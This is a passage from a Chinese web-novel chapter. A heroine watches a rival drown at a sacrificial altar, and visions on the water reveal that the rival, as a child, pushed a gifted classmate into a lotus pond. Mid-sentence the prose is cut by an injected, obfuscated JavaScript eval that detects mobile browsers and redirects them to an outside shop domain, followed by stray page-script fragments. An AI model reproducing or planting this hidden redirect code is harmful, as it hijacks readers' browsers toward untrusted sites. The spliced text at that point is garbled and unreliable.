祭坛上的声音传不到岸上,浮云山众人只能远远看着祝曼姿一点一点溺入湖中,有些不忍心的则早早背过了身。
夜风拂过,岸边的小树林簌簌摇曳,一只手拨开掩映的树枝,在寂寂夜色里露出一张分外标致的脸——正是莫惊鹭。
她把手里那张用过的替罪卡牌放回了存储空间内,在远离人群的地方看向湖中央的祭坛,依稀可以看见状若癫狂的祝曼姿——她现在只剩头还在水面以上。
在送走林贞翊之后,她就有预感自己可能要动用这张底牌,没想到来得这么快。
景区内不均匀的时间流速简直让人猝不及防,而且替罪卡牌只能发动一次,将自己与一定距离内的指定事物于两秒内更换位置,必须把握好时机,太早无效,太晚则无法抵挡全部伤害。
好在祝曼姿的攻击意图和动作都过于明显,给了她可以发动技能的完整反应时间。
并且,据她推测,子夜血祭真正意义上的祭品是祝曼姿,而非她口中所谓的“随便一个够强的游客”。
因为从景区内已经上演的各个剧目来看,躲在浮云山后面操纵一切的幕后真凶并非是随心所欲安排剧情,而是有预谋地上演了一出只针对祝曼姿的“陷阱”。
进入景区后,祝曼姿拿到了堪称废物的身份卡牌,在浮云山备受欺辱,并且时时被人与林贞翊作比较,让她内心更加失衡,产生了不惜一切要改变现状的欲望。
于是,那个幕后导演就可以从容出现在她面前,甚至是以“神明”的身份,告诉她——她祝曼姿才是真正的天选之人,并指导她策划了一整个利用试剑大会进行换运的阴谋,然后将天之骄女的身份连同子夜剑的力量一同赐予她,还给了她在景区内宣泄私愤的权力,让她一步一步走到最高点并为此洋洋得意,然后利用所谓的子夜血祭一击毙命。
甚至,那座祭坛都是祝曼姿自己走上去的。
不然,如果真的仅仅需要一个足够强的游客成为祭品,那幕后之人完全可以凭借着时间折叠直接在试剑大会后接上子夜血祭,那她肯定来不及去进入往生镜带走林贞翊,事情的走向也会简单很多。
而且江隐曾经告诉她,子夜血祭的祭品是子夜剑之主,这个消息来源于莲花圣堂,应该较为准确。
林贞翊离开后,她在试剑大会上得到的那柄剑黑雾散去,其下露出的剑身光可鉴人,就连气息都是银白色的,和传闻中象征浓重黑夜的子夜剑完全不匹配。
所以子夜血祭真正的祭品,从试剑大会那一天就定下了。
幕后策划这一切的真凶,似乎对祝曼姿充满了恨意,甚至不愿意干净果决地给她一个了断,要一步一步引她入局,在她最得意最张狂的时候让她狠狠摔个粉身碎骨。
“你们快看!水面上怎么有……”远处一个人忽然惊呼了一声,惹得众人“呼啦”一声凑到了水边。
“真的诶,水面上怎么会有画面?”
“这两个小丫头是谁?”
“这难道是谁使下的幻术?”
坐在高台上的长老站起身,左手微微下压,释放出一道气韵,震慑了众人后,沉声道:“不必惊慌,这是往生镜所映出来的子夜剑之主的过往罪孽。”
“唯有罪孽深重之人,其罪行才会浮现于此,可见此人必定作恶多端!”
莫惊鹭挑了下眉,也往水边走了两步,果然在水面上看到了格外清晰的画面——两个穿着白裙的小女孩儿正坐着弹古筝,从眉眼依稀可以看出,左边那个是小时候的祝曼姿。
站在一旁的音乐老师耐心听完了二人合奏的《长相思》,先是对祝曼姿微笑道:“不错,曼曼初学就能这么流畅地弹下来,已经很厉害了。”
祝曼姿笑得很甜:“谢谢老师,我会更加努力的。”
音乐老师点点头,随后走到另一个女孩旁边,摸了摸她的脑袋,说道:“宋恬,老师想推荐你代表学校去市里比赛,回家问问你爸爸妈妈愿不愿意陪同你过去。”
不等宋恬说话,祝曼姿便忍不住问道:“老师,我弹得哪里不好了?为什么我不可以呀?”
看着女孩儿水汪汪的一双大眼睛,老师叹了口气,斟酌着说道:“练琴要下苦功夫,曼曼你家里条件好,你妈妈也舍不得你吃苦,加上宋恬很有天赋,所以老师觉得她更合适一点。”
“可是我的琴比她的更贵,我的古筝也是老师一对一教的,我怎么会没她弹得好?”祝曼姿委屈地直跺脚,好像这件事让她蒙受了天大的羞辱。
“曼曼……”老师刚朝她的方向走了一步,祝曼姿就抹着眼泪跑开了,只有门被狠狠关上的声音久久在空旷的音乐教室里回荡。
宋恬犹豫了一下说道:“老师,要不你还是选她吧。我……我等下次……”
老师无奈地摇了摇头:“老师要对你们都负责才可以,祝曼姿在这方面没什么天赋,就算把机会给了她,到时候也很难拿到好名次,说不定会更受打击。”
“而且你妈妈之前也跟我说过了,有意向培养你这方面的特长,将来可以进民族乐团,像你妈妈一样成为职业演奏家。你不想去吗?”
宋恬沉默了片刻,抬起头对老师道:“我会努力练习的。”
老师笑了笑,从口袋里拿出一颗糖递给她:“加油。”
水波荡漾,画面一转,变成了一栋中式园林别墅。
宋恬有些畏手畏脚地跟着祝曼姿走进了屋内,一只金毛小狗摇着尾巴就扑了过来,把她吓了一跳。
“小琴,不许淘气!”祝曼姿大声呵斥小金毛。
祝妈妈笑着从二楼走下来,和蔼问道:“这就是你那个很会弹琴的同学吗?真是乖巧水灵。”
宋恬害羞地叫了一声:“阿姨好。”
祝妈妈走过来摸了摸她的头:“就当自己家,别客气,坐下吃点水果。”
祝曼姿拉着宋恬坐在沙发上,有些不满地瞪那只一直蹭宋恬的小金毛:“小琴今天是怎么了?平时我逗它玩,它都爱答不理的。”
宋恬心里也很喜欢这只可爱活泼的小金毛,伸手轻轻抚摸它的脑袋。
祝妈妈随口道:“可是是喜欢小恬吧。”
祝曼姿冷着脸推金毛的脑袋:“身上一股子臭味儿,别让它在这晃了。”
“哎哟,我的小祖宗,今天上午我才让李妈带它洗完澡,哪有什么味道。”祝妈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940335|210943||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
妈没当回事儿,笑着招呼宋恬吃桌上的零食水果。
祝曼姿也不再多说什么了,等自己母亲回去睡午觉了,忽然提议道:“我们家后院还有很大一片莲花池呢,种的是千瓣莲,可好看了,你要不要去看看?”
宋恬没见过千瓣莲,便点点头:“好啊,那……小琴跟我们一起去吗?”
“行啊,带上它一起。”祝曼姿瞥了一眼吃里扒外的金毛,率先推开门往后院走去。
天气很好,一整个池子里的莲花都盛开着,微风拂过,显得格外华丽。
池子没有围栏,池边设了几个凳子供人坐着赏花。
祝曼姿坐了一会儿后觉得无聊,便趴在池边伸手去够池子里硕大的莲花。
“哎,你小心一点!”宋恬忙去拉她,小金毛也护在主人身边。
“没事的,我这几天经常过来摘花呢。”祝曼姿摘下一朵花来,在宋恬眼前晃了晃,“你要是有喜欢的,可以自己摘呀,带回去送给你妈妈,你不是说你妈妈最喜欢花了吗?”
宋恬被她说动了,便也趴在池子边观察里面的莲花,不等她伸手去够,原本挤在祝曼姿身边的小金毛便不知怎么“噗通”一声掉进了水里。
“小琴!”祝曼姿惊叫道,“怎么回事?”
“你拉着我,我把它捞出来!”看着小狗在水里不断挣扎,似乎是被什么缠住了,宋恬顾不得思考太多,将左手递给祝曼姿,伸出大半个身子去够水里的小金毛。
好不容易抓住金毛的一只前爪,她忙说道:“够到了!快拉我一下!”
“好。”
祝曼姿话音刚落,宋恬便被猛地推进了莲花池里。
落水时巨大的冲击力像是狠狠扇到她脸上的一巴掌,她的右手也不知道撞到了哪里,疼得她几乎叫都叫不出来。
呜咽的狗叫声、细微的呼救声,以及祝曼姿站在岸上的、冷漠的脸,构成了这个画面的最后一幕。
涟漪过后,水面上浮现的是一间医院的病房。
宋恬躺在病床上,像是睡着了,只有睫毛在微微翕动。
坐在一旁的宋母对宋父叹息道:“怎么办啊?小恬这一落水,不仅右耳耳鸣,右手手腕还永久性骨折了,医生都说不建议再弹琴了。”
“这孩子,自己太不小心了,去人家家里还能落水。”宋父摇了摇头,“好在祝总一家都是好人,不仅主动赔偿了医药费,而且……”
他压低了声音:“我今年升职也有望了。”
“真的?他答应你了?”宋母瞪大了眼睛,没想到还有意外之喜。
宋父微笑道:“他没明说,但是让我准备这月底的升职答辩。”
宋母又偏头看了病床上的宋恬一眼,轻声对宋父说:“可是小恬说是有人推她的。”
“小孩子家家的,她的话哪儿能信?”宋父板起脸,“人家祝总一家还特意把那池子填了,亲自上门来赔不是,咱们哪还能再拿乔?”
“我知道,我就是觉得这孩子的天赋怪可惜的……”宋母抿了抿唇。
宋父握住她的手,促狭笑道:“再有天赋,不还是你生的吗?我们努努力,再生一个不就行了?”